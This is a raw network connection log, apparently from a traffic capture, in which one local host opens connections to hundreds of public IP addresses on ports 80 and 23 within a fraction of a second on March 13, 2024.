Mar 13, 2024 09:35:06.627948046 CET	57141	80	192.168.2.15	163.195.71.52
Mar 13, 2024 09:35:06.627953053 CET	57141	80	192.168.2.15	93.12.69.208
Mar 13, 2024 09:35:06.627954006 CET	57141	80	192.168.2.15	106.238.77.6
Mar 13, 2024 09:35:06.627954006 CET	57141	80	192.168.2.15	206.9.122.225
Mar 13, 2024 09:35:06.627954006 CET	57141	80	192.168.2.15	195.123.156.3
Mar 13, 2024 09:35:06.627964020 CET	57141	80	192.168.2.15	82.220.232.217
Mar 13, 2024 09:35:06.627964020 CET	57141	80	192.168.2.15	202.140.24.197
Mar 13, 2024 09:35:06.627974987 CET	57141	80	192.168.2.15	93.18.110.55
Mar 13, 2024 09:35:06.627974987 CET	57141	80	192.168.2.15	164.112.213.212
Mar 13, 2024 09:35:06.627978086 CET	57141	80	192.168.2.15	128.212.168.2
Mar 13, 2024 09:35:06.627985001 CET	57141	80	192.168.2.15	133.27.166.108
Mar 13, 2024 09:35:06.627988100 CET	57141	80	192.168.2.15	18.98.132.241
Mar 13, 2024 09:35:06.627990961 CET	57141	80	192.168.2.15	57.122.186.246
Mar 13, 2024 09:35:06.627994061 CET	57141	80	192.168.2.15	195.170.151.21
Mar 13, 2024 09:35:06.627994061 CET	57141	80	192.168.2.15	94.186.30.201
Mar 13, 2024 09:35:06.627994061 CET	57141	80	192.168.2.15	150.252.190.110
Mar 13, 2024 09:35:06.627994061 CET	57141	80	192.168.2.15	188.67.83.248
Mar 13, 2024 09:35:06.628001928 CET	57141	80	192.168.2.15	50.88.142.210
Mar 13, 2024 09:35:06.628012896 CET	57141	80	192.168.2.15	135.13.201.142
Mar 13, 2024 09:35:06.628021002 CET	57141	80	192.168.2.15	83.8.90.139
Mar 13, 2024 09:35:06.628021002 CET	57141	80	192.168.2.15	116.212.135.46
Mar 13, 2024 09:35:06.628034115 CET	57141	80	192.168.2.15	123.182.36.64
Mar 13, 2024 09:35:06.628036022 CET	57141	80	192.168.2.15	183.65.26.181
Mar 13, 2024 09:35:06.628046036 CET	57141	80	192.168.2.15	78.139.138.236
Mar 13, 2024 09:35:06.628048897 CET	57141	80	192.168.2.15	67.177.197.165
Mar 13, 2024 09:35:06.628051996 CET	57141	80	192.168.2.15	209.136.19.245
Mar 13, 2024 09:35:06.628051996 CET	57141	80	192.168.2.15	39.190.43.200
Mar 13, 2024 09:35:06.628057957 CET	57141	80	192.168.2.15	191.122.133.72
Mar 13, 2024 09:35:06.628070116 CET	57141	80	192.168.2.15	126.119.128.86
Mar 13, 2024 09:35:06.628070116 CET	57141	80	192.168.2.15	153.122.112.159
Mar 13, 2024 09:35:06.628071070 CET	57141	80	192.168.2.15	189.82.150.167
Mar 13, 2024 09:35:06.628072977 CET	57141	80	192.168.2.15	205.37.180.201
Mar 13, 2024 09:35:06.628091097 CET	57141	80	192.168.2.15	78.235.72.72
Mar 13, 2024 09:35:06.628099918 CET	57141	80	192.168.2.15	40.119.55.109
Mar 13, 2024 09:35:06.628099918 CET	57141	80	192.168.2.15	181.201.4.182
Mar 13, 2024 09:35:06.628099918 CET	57141	80	192.168.2.15	157.35.181.148
Mar 13, 2024 09:35:06.628106117 CET	57141	80	192.168.2.15	178.26.118.16
Mar 13, 2024 09:35:06.628112078 CET	57141	80	192.168.2.15	62.2.23.52
Mar 13, 2024 09:35:06.628112078 CET	57141	80	192.168.2.15	68.58.150.90
Mar 13, 2024 09:35:06.628112078 CET	57141	80	192.168.2.15	195.186.190.27
Mar 13, 2024 09:35:06.628113031 CET	57141	80	192.168.2.15	135.11.211.73
Mar 13, 2024 09:35:06.628113031 CET	57141	80	192.168.2.15	155.102.183.162
Mar 13, 2024 09:35:06.628137112 CET	57141	80	192.168.2.15	13.81.103.23
Mar 13, 2024 09:35:06.628142118 CET	57141	80	192.168.2.15	167.217.208.125
Mar 13, 2024 09:35:06.628144026 CET	57141	80	192.168.2.15	154.13.14.34
Mar 13, 2024 09:35:06.628155947 CET	57141	80	192.168.2.15	31.233.57.198
Mar 13, 2024 09:35:06.628155947 CET	57141	80	192.168.2.15	175.203.212.150
Mar 13, 2024 09:35:06.628155947 CET	57141	80	192.168.2.15	125.207.202.244
Mar 13, 2024 09:35:06.628156900 CET	57141	80	192.168.2.15	150.40.164.243
Mar 13, 2024 09:35:06.628156900 CET	57141	80	192.168.2.15	204.235.226.134
Mar 13, 2024 09:35:06.628156900 CET	57141	80	192.168.2.15	109.150.246.186
Mar 13, 2024 09:35:06.628156900 CET	57141	80	192.168.2.15	176.100.12.33
Mar 13, 2024 09:35:06.628164053 CET	57141	80	192.168.2.15	174.219.40.68
Mar 13, 2024 09:35:06.628164053 CET	57141	80	192.168.2.15	63.59.219.236
Mar 13, 2024 09:35:06.628165007 CET	57141	80	192.168.2.15	154.195.141.95
Mar 13, 2024 09:35:06.628186941 CET	57141	80	192.168.2.15	51.12.148.38
Mar 13, 2024 09:35:06.628186941 CET	57141	80	192.168.2.15	88.138.60.4
Mar 13, 2024 09:35:06.628191948 CET	57141	80	192.168.2.15	36.20.117.42
Mar 13, 2024 09:35:06.628191948 CET	57141	80	192.168.2.15	73.110.39.58
Mar 13, 2024 09:35:06.628191948 CET	57141	80	192.168.2.15	43.156.128.143
Mar 13, 2024 09:35:06.628200054 CET	57141	80	192.168.2.15	105.126.97.146
Mar 13, 2024 09:35:06.628207922 CET	57141	80	192.168.2.15	101.220.196.56
Mar 13, 2024 09:35:06.628213882 CET	57141	80	192.168.2.15	68.252.75.88
Mar 13, 2024 09:35:06.628232956 CET	57141	80	192.168.2.15	198.87.20.188
Mar 13, 2024 09:35:06.628232956 CET	57141	80	192.168.2.15	188.134.252.96
Mar 13, 2024 09:35:06.628236055 CET	57141	80	192.168.2.15	71.231.132.170
Mar 13, 2024 09:35:06.628236055 CET	57141	80	192.168.2.15	4.81.242.35
Mar 13, 2024 09:35:06.628236055 CET	57141	80	192.168.2.15	93.8.199.118
Mar 13, 2024 09:35:06.628240108 CET	57141	80	192.168.2.15	78.96.86.97
Mar 13, 2024 09:35:06.628240108 CET	57141	80	192.168.2.15	9.149.114.101
Mar 13, 2024 09:35:06.628240108 CET	57141	80	192.168.2.15	93.247.222.54
Mar 13, 2024 09:35:06.628241062 CET	57141	80	192.168.2.15	146.71.222.138
Mar 13, 2024 09:35:06.628247023 CET	57141	80	192.168.2.15	50.11.230.192
Mar 13, 2024 09:35:06.628247023 CET	57141	80	192.168.2.15	126.24.42.36
Mar 13, 2024 09:35:06.628247976 CET	57141	80	192.168.2.15	109.31.211.24
Mar 13, 2024 09:35:06.628248930 CET	57141	80	192.168.2.15	202.230.245.207
Mar 13, 2024 09:35:06.628247976 CET	57141	80	192.168.2.15	98.185.57.159
Mar 13, 2024 09:35:06.628252983 CET	57141	80	192.168.2.15	121.230.252.239
Mar 13, 2024 09:35:06.628256083 CET	57141	80	192.168.2.15	197.76.194.218
Mar 13, 2024 09:35:06.628256083 CET	57141	80	192.168.2.15	205.79.50.140
Mar 13, 2024 09:35:06.628256083 CET	57141	80	192.168.2.15	200.225.99.115
Mar 13, 2024 09:35:06.628267050 CET	57141	80	192.168.2.15	65.33.177.41
Mar 13, 2024 09:35:06.628267050 CET	57141	80	192.168.2.15	100.50.184.68
Mar 13, 2024 09:35:06.628273964 CET	57141	80	192.168.2.15	169.111.185.254
Mar 13, 2024 09:35:06.628274918 CET	57141	80	192.168.2.15	130.109.66.98
Mar 13, 2024 09:35:06.628274918 CET	57141	80	192.168.2.15	69.253.133.67
Mar 13, 2024 09:35:06.628287077 CET	57141	80	192.168.2.15	143.95.134.37
Mar 13, 2024 09:35:06.628293991 CET	57141	80	192.168.2.15	205.103.209.223
Mar 13, 2024 09:35:06.628293991 CET	57141	80	192.168.2.15	133.33.153.120
Mar 13, 2024 09:35:06.628293991 CET	57141	80	192.168.2.15	124.28.99.174
Mar 13, 2024 09:35:06.628302097 CET	57141	80	192.168.2.15	59.59.204.176
Mar 13, 2024 09:35:06.628305912 CET	57141	80	192.168.2.15	157.34.139.59
Mar 13, 2024 09:35:06.628310919 CET	57141	80	192.168.2.15	196.104.90.62
Mar 13, 2024 09:35:06.628317118 CET	57141	80	192.168.2.15	136.77.17.88
Mar 13, 2024 09:35:06.628334045 CET	57141	80	192.168.2.15	161.16.75.49
Mar 13, 2024 09:35:06.628335953 CET	57141	80	192.168.2.15	180.239.30.61
Mar 13, 2024 09:35:06.628335953 CET	57141	80	192.168.2.15	64.215.116.90
Mar 13, 2024 09:35:06.628340006 CET	57141	80	192.168.2.15	206.120.111.174
Mar 13, 2024 09:35:06.628340006 CET	57141	80	192.168.2.15	82.160.101.148
Mar 13, 2024 09:35:06.628356934 CET	57141	80	192.168.2.15	136.142.222.243
Mar 13, 2024 09:35:06.628367901 CET	57141	80	192.168.2.15	178.128.22.58
Mar 13, 2024 09:35:06.628366947 CET	57141	80	192.168.2.15	92.61.24.22
Mar 13, 2024 09:35:06.628391981 CET	57141	80	192.168.2.15	206.47.206.38
Mar 13, 2024 09:35:06.628391981 CET	57141	80	192.168.2.15	96.182.10.193
Mar 13, 2024 09:35:06.628391981 CET	57141	80	192.168.2.15	182.25.8.80
Mar 13, 2024 09:35:06.628395081 CET	57141	80	192.168.2.15	188.124.155.181
Mar 13, 2024 09:35:06.628395081 CET	57141	80	192.168.2.15	102.120.9.172
Mar 13, 2024 09:35:06.628396034 CET	57141	80	192.168.2.15	36.132.207.207
Mar 13, 2024 09:35:06.628400087 CET	57141	80	192.168.2.15	73.21.182.252
Mar 13, 2024 09:35:06.628400087 CET	57141	80	192.168.2.15	183.38.174.231
Mar 13, 2024 09:35:06.628400087 CET	57141	80	192.168.2.15	220.231.102.250
Mar 13, 2024 09:35:06.628403902 CET	57141	80	192.168.2.15	68.147.31.52
Mar 13, 2024 09:35:06.628417015 CET	57141	80	192.168.2.15	147.19.98.163
Mar 13, 2024 09:35:06.628417015 CET	57141	80	192.168.2.15	181.96.19.18
Mar 13, 2024 09:35:06.628423929 CET	57141	80	192.168.2.15	103.175.24.117
Mar 13, 2024 09:35:06.628437042 CET	57141	80	192.168.2.15	172.245.169.202
Mar 13, 2024 09:35:06.628437042 CET	57141	80	192.168.2.15	75.186.208.27
Mar 13, 2024 09:35:06.628437042 CET	57141	80	192.168.2.15	137.217.5.191
Mar 13, 2024 09:35:06.628442049 CET	57141	80	192.168.2.15	131.142.59.237
Mar 13, 2024 09:35:06.628442049 CET	57141	80	192.168.2.15	115.46.17.52
Mar 13, 2024 09:35:06.628442049 CET	57141	80	192.168.2.15	68.124.199.184
Mar 13, 2024 09:35:06.628448009 CET	57141	80	192.168.2.15	187.103.162.69
Mar 13, 2024 09:35:06.628457069 CET	57141	80	192.168.2.15	210.97.117.131
Mar 13, 2024 09:35:06.628458023 CET	57141	80	192.168.2.15	198.10.195.245
Mar 13, 2024 09:35:06.628460884 CET	57141	80	192.168.2.15	69.58.26.92
Mar 13, 2024 09:35:06.628473997 CET	57141	80	192.168.2.15	212.250.137.103
Mar 13, 2024 09:35:06.628473997 CET	57141	80	192.168.2.15	65.153.10.232
Mar 13, 2024 09:35:06.628492117 CET	57141	80	192.168.2.15	44.12.54.243
Mar 13, 2024 09:35:06.628493071 CET	57141	80	192.168.2.15	76.200.21.99
Mar 13, 2024 09:35:06.628499031 CET	57141	80	192.168.2.15	129.22.253.195
Mar 13, 2024 09:35:06.628508091 CET	57141	80	192.168.2.15	96.75.196.253
Mar 13, 2024 09:35:06.628510952 CET	57141	80	192.168.2.15	184.138.116.221
Mar 13, 2024 09:35:06.628510952 CET	57141	80	192.168.2.15	123.219.54.247
Mar 13, 2024 09:35:06.628528118 CET	57141	80	192.168.2.15	82.169.183.206
Mar 13, 2024 09:35:06.628528118 CET	57141	80	192.168.2.15	112.179.144.185
Mar 13, 2024 09:35:06.628528118 CET	57141	80	192.168.2.15	118.107.250.12
Mar 13, 2024 09:35:06.628528118 CET	57141	80	192.168.2.15	153.138.167.23
Mar 13, 2024 09:35:06.628530025 CET	57141	80	192.168.2.15	198.39.15.77
Mar 13, 2024 09:35:06.628530025 CET	57141	80	192.168.2.15	32.90.133.251
Mar 13, 2024 09:35:06.628532887 CET	57141	80	192.168.2.15	212.79.115.10
Mar 13, 2024 09:35:06.628691912 CET	57141	80	192.168.2.15	162.32.180.51
Mar 13, 2024 09:35:06.670205116 CET	23	55482	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:06.670325041 CET	55482	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:06.670516968 CET	55484	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:06.747622013 CET	80	57141	24.93.25.154	192.168.2.15
Mar 13, 2024 09:35:06.747740984 CET	57141	80	192.168.2.15	24.93.25.154
Mar 13, 2024 09:35:06.797241926 CET	80	57141	52.84.63.107	192.168.2.15
Mar 13, 2024 09:35:06.797410965 CET	57141	80	192.168.2.15	52.84.63.107
Mar 13, 2024 09:35:06.803345919 CET	80	57141	185.94.28.204	192.168.2.15
Mar 13, 2024 09:35:06.803411961 CET	57141	80	192.168.2.15	185.94.28.204
Mar 13, 2024 09:35:06.863893986 CET	23	55484	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:06.864000082 CET	55484	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:06.864003897 CET	56885	23	192.168.2.15	143.131.192.184
Mar 13, 2024 09:35:06.864012957 CET	56885	23	192.168.2.15	161.81.167.4
Mar 13, 2024 09:35:06.864021063 CET	56885	23	192.168.2.15	205.146.231.120
Mar 13, 2024 09:35:06.864021063 CET	56885	23	192.168.2.15	77.201.119.4
Mar 13, 2024 09:35:06.864037991 CET	56885	23	192.168.2.15	148.86.85.185
Mar 13, 2024 09:35:06.864048958 CET	56885	23	192.168.2.15	188.2.11.2
Mar 13, 2024 09:35:06.864048958 CET	56885	23	192.168.2.15	167.245.0.204
Mar 13, 2024 09:35:06.864049911 CET	56885	23	192.168.2.15	1.55.121.36
Mar 13, 2024 09:35:06.864049911 CET	56885	23	192.168.2.15	53.166.217.25
Mar 13, 2024 09:35:06.864062071 CET	56885	23	192.168.2.15	54.61.250.38
Mar 13, 2024 09:35:06.864059925 CET	56885	23	192.168.2.15	216.9.164.220
Mar 13, 2024 09:35:06.864068985 CET	56885	23	192.168.2.15	197.35.181.172
Mar 13, 2024 09:35:06.864061117 CET	56885	23	192.168.2.15	148.229.224.201
Mar 13, 2024 09:35:06.864072084 CET	56885	23	192.168.2.15	25.155.82.229
Mar 13, 2024 09:35:06.864083052 CET	56885	23	192.168.2.15	57.219.3.163
Mar 13, 2024 09:35:06.864084005 CET	56885	23	192.168.2.15	80.90.198.148
Mar 13, 2024 09:35:06.864084005 CET	56885	23	192.168.2.15	50.47.133.177
Mar 13, 2024 09:35:06.864089012 CET	56885	23	192.168.2.15	77.114.123.117
Mar 13, 2024 09:35:06.864089012 CET	56885	23	192.168.2.15	79.193.236.18
Mar 13, 2024 09:35:06.864092112 CET	56885	23	192.168.2.15	160.55.76.244
Mar 13, 2024 09:35:06.864092112 CET	56885	23	192.168.2.15	25.128.158.74
Mar 13, 2024 09:35:06.864092112 CET	56885	23	192.168.2.15	75.206.55.136
Mar 13, 2024 09:35:06.864094019 CET	56885	23	192.168.2.15	171.93.237.146
Mar 13, 2024 09:35:06.864094973 CET	56885	23	192.168.2.15	131.91.32.48
Mar 13, 2024 09:35:06.864094019 CET	56885	23	192.168.2.15	20.240.211.126
Mar 13, 2024 09:35:06.864125967 CET	56885	23	192.168.2.15	149.117.56.105
Mar 13, 2024 09:35:06.864144087 CET	56885	23	192.168.2.15	201.36.181.123
Mar 13, 2024 09:35:06.864157915 CET	56885	23	192.168.2.15	175.204.225.200
Mar 13, 2024 09:35:06.864170074 CET	56885	23	192.168.2.15	80.83.183.21
Mar 13, 2024 09:35:06.864170074 CET	56885	23	192.168.2.15	18.121.40.78
Mar 13, 2024 09:35:06.864170074 CET	56885	23	192.168.2.15	175.183.130.229
Mar 13, 2024 09:35:06.864171028 CET	56885	23	192.168.2.15	165.80.161.98
Mar 13, 2024 09:35:06.864171028 CET	56885	23	192.168.2.15	194.136.253.184
Mar 13, 2024 09:35:06.864172935 CET	56885	23	192.168.2.15	93.91.49.239
Mar 13, 2024 09:35:06.864172935 CET	56885	23	192.168.2.15	151.38.175.121
Mar 13, 2024 09:35:06.864172935 CET	56885	23	192.168.2.15	203.255.211.208
Mar 13, 2024 09:35:06.864172935 CET	56885	23	192.168.2.15	141.128.143.36
Mar 13, 2024 09:35:06.864172935 CET	56885	23	192.168.2.15	221.229.128.138
Mar 13, 2024 09:35:06.864181995 CET	56885	23	192.168.2.15	70.224.112.19
Mar 13, 2024 09:35:06.864181995 CET	56885	23	192.168.2.15	101.5.44.236
Mar 13, 2024 09:35:06.864190102 CET	56885	23	192.168.2.15	131.140.189.58
Mar 13, 2024 09:35:06.864192009 CET	56885	23	192.168.2.15	121.49.44.123
Mar 13, 2024 09:35:06.864192009 CET	56885	23	192.168.2.15	155.203.102.151
Mar 13, 2024 09:35:06.864195108 CET	56885	23	192.168.2.15	112.248.68.2
Mar 13, 2024 09:35:06.864195108 CET	56885	23	192.168.2.15	42.139.24.150
Mar 13, 2024 09:35:06.864195108 CET	56885	23	192.168.2.15	59.57.33.214
Mar 13, 2024 09:35:06.864195108 CET	56885	23	192.168.2.15	63.193.98.141
Mar 13, 2024 09:35:06.864195108 CET	56885	23	192.168.2.15	169.35.235.171
Mar 13, 2024 09:35:06.864190102 CET	56885	23	192.168.2.15	145.135.174.93
Mar 13, 2024 09:35:06.864190102 CET	56885	23	192.168.2.15	147.98.71.95
Mar 13, 2024 09:35:06.864190102 CET	56885	23	192.168.2.15	44.185.46.135
Mar 13, 2024 09:35:06.864202023 CET	56885	23	192.168.2.15	117.233.21.133
Mar 13, 2024 09:35:06.864202023 CET	56885	23	192.168.2.15	73.9.16.115
Mar 13, 2024 09:35:06.864202023 CET	56885	23	192.168.2.15	93.43.9.103
Mar 13, 2024 09:35:06.864202023 CET	56885	23	192.168.2.15	102.217.32.111
Mar 13, 2024 09:35:06.864212990 CET	56885	23	192.168.2.15	193.163.88.23
Mar 13, 2024 09:35:06.864212990 CET	56885	23	192.168.2.15	140.81.146.216
Mar 13, 2024 09:35:06.864213943 CET	56885	23	192.168.2.15	74.187.35.130
Mar 13, 2024 09:35:06.864208937 CET	56885	23	192.168.2.15	147.82.43.33
Mar 13, 2024 09:35:06.864216089 CET	56885	23	192.168.2.15	201.196.224.60
Mar 13, 2024 09:35:06.864216089 CET	56885	23	192.168.2.15	20.62.128.88
Mar 13, 2024 09:35:06.864208937 CET	56885	23	192.168.2.15	64.148.146.172
Mar 13, 2024 09:35:06.864216089 CET	56885	23	192.168.2.15	86.13.43.239
Mar 13, 2024 09:35:06.864234924 CET	56885	23	192.168.2.15	57.148.43.142
Mar 13, 2024 09:35:06.864214897 CET	56885	23	192.168.2.15	201.145.173.189
Mar 13, 2024 09:35:06.864233017 CET	56885	23	192.168.2.15	14.35.22.167
Mar 13, 2024 09:35:06.864238977 CET	56885	23	192.168.2.15	41.188.78.45
Mar 13, 2024 09:35:06.864233017 CET	56885	23	192.168.2.15	153.24.77.118
Mar 13, 2024 09:35:06.864238977 CET	56885	23	192.168.2.15	19.156.87.215
Mar 13, 2024 09:35:06.864238977 CET	56885	23	192.168.2.15	173.221.166.90
Mar 13, 2024 09:35:06.864238977 CET	56885	23	192.168.2.15	189.208.136.191
Mar 13, 2024 09:35:06.864243984 CET	56885	23	192.168.2.15	165.213.222.153
Mar 13, 2024 09:35:06.864243984 CET	56885	23	192.168.2.15	87.222.118.48
Mar 13, 2024 09:35:06.864253044 CET	56885	23	192.168.2.15	1.104.133.205
Mar 13, 2024 09:35:06.864259005 CET	56885	23	192.168.2.15	101.82.130.198
Mar 13, 2024 09:35:06.864259958 CET	56885	23	192.168.2.15	96.35.65.53
Mar 13, 2024 09:35:06.864264011 CET	56885	23	192.168.2.15	212.66.1.146
Mar 13, 2024 09:35:06.864264965 CET	56885	23	192.168.2.15	80.98.247.241
Mar 13, 2024 09:35:06.864264965 CET	56885	23	192.168.2.15	167.101.0.150
Mar 13, 2024 09:35:06.864264965 CET	56885	23	192.168.2.15	159.218.121.167
Mar 13, 2024 09:35:06.864269018 CET	56885	23	192.168.2.15	84.77.14.166
Mar 13, 2024 09:35:06.864270926 CET	56885	23	192.168.2.15	52.18.20.251
Mar 13, 2024 09:35:06.864269018 CET	56885	23	192.168.2.15	130.158.13.56
Mar 13, 2024 09:35:06.864269018 CET	56885	23	192.168.2.15	124.132.169.147
Mar 13, 2024 09:35:06.864284039 CET	56885	23	192.168.2.15	49.103.251.141
Mar 13, 2024 09:35:06.864284039 CET	56885	23	192.168.2.15	53.47.214.199
Mar 13, 2024 09:35:06.864295006 CET	56885	23	192.168.2.15	119.44.208.149
Mar 13, 2024 09:35:06.864295006 CET	56885	23	192.168.2.15	27.87.19.28
Mar 13, 2024 09:35:06.864295006 CET	56885	23	192.168.2.15	57.65.211.109
Mar 13, 2024 09:35:06.864298105 CET	56885	23	192.168.2.15	167.204.206.132
Mar 13, 2024 09:35:06.864298105 CET	56885	23	192.168.2.15	175.228.43.37
Mar 13, 2024 09:35:06.864295006 CET	56885	23	192.168.2.15	121.160.134.215
Mar 13, 2024 09:35:06.864298105 CET	56885	23	192.168.2.15	38.76.27.241
Mar 13, 2024 09:35:06.864303112 CET	56885	23	192.168.2.15	64.16.174.39
Mar 13, 2024 09:35:06.864304066 CET	56885	23	192.168.2.15	118.147.10.166
Mar 13, 2024 09:35:06.864314079 CET	56885	23	192.168.2.15	40.190.199.242
Mar 13, 2024 09:35:06.864314079 CET	56885	23	192.168.2.15	182.87.116.190
Mar 13, 2024 09:35:06.864314079 CET	56885	23	192.168.2.15	4.51.143.225
Mar 13, 2024 09:35:06.864314079 CET	56885	23	192.168.2.15	91.70.55.172
Mar 13, 2024 09:35:06.864314079 CET	56885	23	192.168.2.15	57.153.247.29
Mar 13, 2024 09:35:06.864326954 CET	56885	23	192.168.2.15	179.156.185.166
Mar 13, 2024 09:35:06.864326954 CET	56885	23	192.168.2.15	82.233.92.82
Mar 13, 2024 09:35:06.864347935 CET	56885	23	192.168.2.15	192.251.91.136
Mar 13, 2024 09:35:06.864347935 CET	56885	23	192.168.2.15	106.70.37.158
Mar 13, 2024 09:35:06.864351988 CET	56885	23	192.168.2.15	74.83.1.25
Mar 13, 2024 09:35:06.864376068 CET	56885	23	192.168.2.15	113.57.142.240
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	8.181.110.50
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	94.198.54.7
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	201.45.47.95
Mar 13, 2024 09:35:06.864389896 CET	56885	23	192.168.2.15	209.114.181.189
Mar 13, 2024 09:35:06.864392042 CET	56885	23	192.168.2.15	220.144.71.83
Mar 13, 2024 09:35:06.864392996 CET	56885	23	192.168.2.15	151.241.4.213
Mar 13, 2024 09:35:06.864387035 CET	56885	23	192.168.2.15	70.110.123.70
Mar 13, 2024 09:35:06.864392042 CET	56885	23	192.168.2.15	209.74.213.207
Mar 13, 2024 09:35:06.864392996 CET	56885	23	192.168.2.15	42.67.198.132
Mar 13, 2024 09:35:06.864392042 CET	56885	23	192.168.2.15	187.48.223.8
Mar 13, 2024 09:35:06.864387035 CET	56885	23	192.168.2.15	124.46.187.193
Mar 13, 2024 09:35:06.864392996 CET	56885	23	192.168.2.15	38.33.240.7
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	82.59.166.101
Mar 13, 2024 09:35:06.864387035 CET	56885	23	192.168.2.15	68.217.114.57
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	151.195.255.38
Mar 13, 2024 09:35:06.864408016 CET	56885	23	192.168.2.15	74.251.60.33
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	81.123.210.140
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	72.147.141.44
Mar 13, 2024 09:35:06.864409924 CET	56885	23	192.168.2.15	190.94.131.136
Mar 13, 2024 09:35:06.864409924 CET	56885	23	192.168.2.15	204.146.51.157
Mar 13, 2024 09:35:06.864409924 CET	56885	23	192.168.2.15	209.117.246.89
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	186.54.7.135
Mar 13, 2024 09:35:06.864409924 CET	56885	23	192.168.2.15	182.62.189.86
Mar 13, 2024 09:35:06.864391088 CET	56885	23	192.168.2.15	43.49.98.249
Mar 13, 2024 09:35:06.864424944 CET	56885	23	192.168.2.15	182.92.16.76
Mar 13, 2024 09:35:06.864427090 CET	56885	23	192.168.2.15	212.28.143.133
Mar 13, 2024 09:35:06.864428997 CET	56885	23	192.168.2.15	132.240.199.16
Mar 13, 2024 09:35:06.864429951 CET	56885	23	192.168.2.15	176.5.107.37
Mar 13, 2024 09:35:06.864429951 CET	56885	23	192.168.2.15	79.253.250.61
Mar 13, 2024 09:35:06.864435911 CET	56885	23	192.168.2.15	159.245.162.85
Mar 13, 2024 09:35:06.864435911 CET	56885	23	192.168.2.15	65.89.236.160
Mar 13, 2024 09:35:06.864442110 CET	56885	23	192.168.2.15	88.110.31.61
Mar 13, 2024 09:35:06.864442110 CET	56885	23	192.168.2.15	53.190.197.208
Mar 13, 2024 09:35:06.864449978 CET	56885	23	192.168.2.15	41.200.8.142
Mar 13, 2024 09:35:06.864449978 CET	56885	23	192.168.2.15	75.168.58.234
Mar 13, 2024 09:35:06.864449978 CET	56885	23	192.168.2.15	135.6.106.204
Mar 13, 2024 09:35:06.864449978 CET	56885	23	192.168.2.15	125.239.126.218
Mar 13, 2024 09:35:06.864464045 CET	56885	23	192.168.2.15	12.239.102.84
Mar 13, 2024 09:35:06.864464045 CET	56885	23	192.168.2.15	144.201.117.162
Mar 13, 2024 09:35:06.864466906 CET	56885	23	192.168.2.15	155.175.10.99
Mar 13, 2024 09:35:06.864464045 CET	56885	23	192.168.2.15	191.174.12.179
Mar 13, 2024 09:35:06.864468098 CET	56885	23	192.168.2.15	166.160.162.80
Mar 13, 2024 09:35:06.864469051 CET	56885	23	192.168.2.15	107.169.227.15
Mar 13, 2024 09:35:06.864464998 CET	56885	23	192.168.2.15	58.111.131.205
Mar 13, 2024 09:35:06.864473104 CET	56885	23	192.168.2.15	182.202.134.199
Mar 13, 2024 09:35:06.864483118 CET	56885	23	192.168.2.15	168.18.128.251
Mar 13, 2024 09:35:06.864495993 CET	56885	23	192.168.2.15	178.159.125.70
Mar 13, 2024 09:35:06.864499092 CET	56885	23	192.168.2.15	65.44.91.151
Mar 13, 2024 09:35:06.864499092 CET	56885	23	192.168.2.15	124.234.111.131
Mar 13, 2024 09:35:06.864499092 CET	56885	23	192.168.2.15	195.77.76.17
Mar 13, 2024 09:35:06.864509106 CET	56885	23	192.168.2.15	77.29.14.160
Mar 13, 2024 09:35:06.864509106 CET	56885	23	192.168.2.15	103.136.215.239
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	185.101.148.66
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	13.231.21.152
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	171.42.206.89
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	23.174.191.75
Mar 13, 2024 09:35:06.864506006 CET	56885	23	192.168.2.15	97.14.39.250
Mar 13, 2024 09:35:06.864506006 CET	56885	23	192.168.2.15	116.105.150.176
Mar 13, 2024 09:35:06.864506006 CET	56885	23	192.168.2.15	192.190.10.69
Mar 13, 2024 09:35:06.864506006 CET	56885	23	192.168.2.15	24.48.206.20
Mar 13, 2024 09:35:06.864516973 CET	56885	23	192.168.2.15	151.55.88.91
Mar 13, 2024 09:35:06.864506006 CET	56885	23	192.168.2.15	143.237.138.98
Mar 13, 2024 09:35:06.864516973 CET	56885	23	192.168.2.15	105.245.9.125
Mar 13, 2024 09:35:06.864521980 CET	56885	23	192.168.2.15	160.253.46.93
Mar 13, 2024 09:35:06.864518881 CET	56885	23	192.168.2.15	219.94.83.15
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	69.18.7.141
Mar 13, 2024 09:35:06.864521980 CET	56885	23	192.168.2.15	52.205.216.41
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	88.41.26.75
Mar 13, 2024 09:35:06.864527941 CET	56885	23	192.168.2.15	1.54.17.23
Mar 13, 2024 09:35:06.864527941 CET	56885	23	192.168.2.15	104.134.17.254
Mar 13, 2024 09:35:06.864511967 CET	56885	23	192.168.2.15	24.159.223.117
Mar 13, 2024 09:35:06.864541054 CET	56885	23	192.168.2.15	189.174.78.33
Mar 13, 2024 09:35:06.864542007 CET	56885	23	192.168.2.15	204.98.78.76
Mar 13, 2024 09:35:06.864543915 CET	56885	23	192.168.2.15	58.58.80.179
Mar 13, 2024 09:35:06.864543915 CET	56885	23	192.168.2.15	145.234.200.212
Mar 13, 2024 09:35:06.864550114 CET	56885	23	192.168.2.15	130.4.36.163
Mar 13, 2024 09:35:06.864550114 CET	56885	23	192.168.2.15	199.107.183.46
Mar 13, 2024 09:35:06.864551067 CET	56885	23	192.168.2.15	42.149.153.133
Mar 13, 2024 09:35:06.864552021 CET	56885	23	192.168.2.15	129.102.69.153
Mar 13, 2024 09:35:06.864552021 CET	56885	23	192.168.2.15	175.185.173.126
Mar 13, 2024 09:35:06.864557981 CET	56885	23	192.168.2.15	191.144.1.35
Mar 13, 2024 09:35:06.864557981 CET	56885	23	192.168.2.15	134.165.88.141
